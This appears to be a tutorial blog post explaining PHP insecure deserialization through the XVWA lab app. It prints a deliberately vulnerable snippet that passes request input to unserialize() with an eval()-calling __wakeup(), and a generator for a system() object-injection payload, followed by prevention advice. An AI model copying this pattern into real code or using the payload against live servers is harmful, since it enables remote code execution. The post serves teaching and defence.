Deserilaization Disaster in PHP

Veshraj Ghimire
PenTester Nepal
Published in
5 min readMar 1, 2023

What really is serialization?

Serialization is the process of converting complex data structures or objects into a format that can be easily stored, transmitted or reconstructed later. In other words, it is a way to turn an object into a series of bytes or text that can be sent over a network or saved to a file. When the data is needed again, the serialized format can be deserialized or reassembled back into its original structure or object.

Why serialization?

It’s useful for transferring data between different systems or devices, saving data to a database or file, integrating different systems and technologies, and storing large datasets more efficiently.

What’s the risk?

Serialized data is not encrypted or signed, which means it can be modified without detection. This can cause unexpected results when the data is deserialized. While some transport protocols may use serialization with compression or encryption to secure the data, it is still possible to encounter serialized data in plain form. This scenario is particularly interesting to penetration testers and attackers, as it can provide an opportunity to exploit vulnerabilities in the system.

How does serialization works in PHP?

Serialization in PHP works by converting a PHP object or data structure into a string of bytes that can be easily stored, transmitted, or reconstructed later. This is done using the serialize() function, which takes the object or data structure as an argument and returns a string of bytes in a serialized format. The resulting string can then be saved to a file or sent over a network. When the data is needed again, the unserialize() function can be used to convert the serialized string back into the original object or data structure. For example, if you had a PHP object called $user with properties such as name and email, you could serialize it using the serialize($user) function and then later deserialize it using unserialize($serializedData) to get back the original object.
Let’s have a look to an Example below:

Serializing the array

Understanding the serialized string:

  • a:2: indicates that this is an array with two elements.
  • i:0; indicates that the first element has an integer key of 0.
  • s:4:"XVWA"; indicates that the value of the first element is a string with a length of 4 and a value of "XVWA".
  • i:1; indicates that the second element has an integer key of 1.
  • s:33:"Xtreme Vulnerable Web Application"; indicates that the value of the second element is a string with a length of 33 and a value of "Xtreme Vulnerable Web Application".

Unserializing it:

Let’s look at the vulnerable code snippet:

<?php 
class PHPObjectInjection{
public $inject;
function __construct(){

}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['r'])){

$var1=unserialize($_REQUEST['r']);
if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1];
}
}else{
echo ""; # nothing happens here
}
?>

This code defines a PHP class called PHPObjectInjection, which has a public variable called $inject. The class also has a magic method called __wakeup(), which is called when the object is unserialized. If the $inject variable is set, the eval() function is used to evaluate its contents as PHP code. The code also checks if the $_REQUEST['r'] variable is set, unserializes its value, and outputs the first and second elements of the resulting array. If the $_REQUEST['r'] variable is not set, an empty string is outputted.

What’s wrong here?

Let’s have a look at Php manual for unserialize() function

The big red warning message refers to the potential security risk of insecure deserialization in PHP. The warning message is a reminder to PHP developers that passing user-controlled input to the unserialize() function can be dangerous, as it can allow an attacker to execute arbitrary code on the server.

The Exploit:

We can create a basic PHP code that generates a serialized payload designed to be processed by an insecure deserialize() function on the server.

<?php
class PHPObjectInjection {
public $inject="system('<cmdHere>');";
}
$obj=new PHPObjectInjection();
var_dump(serialize($obj));
?>

Real World Scenarios:

WordPress 3.6 — PHP Object Injection

So what’s the prevention?

Never use the unserialize() function on user-supplied input, and preferably use data-only serialization formats such as JSON. If you need to use PHP deserialization, a second optional parameter has been added in PHP 7 that enables you to specify an allow list of allowed classes.

Further Read & References:

--

--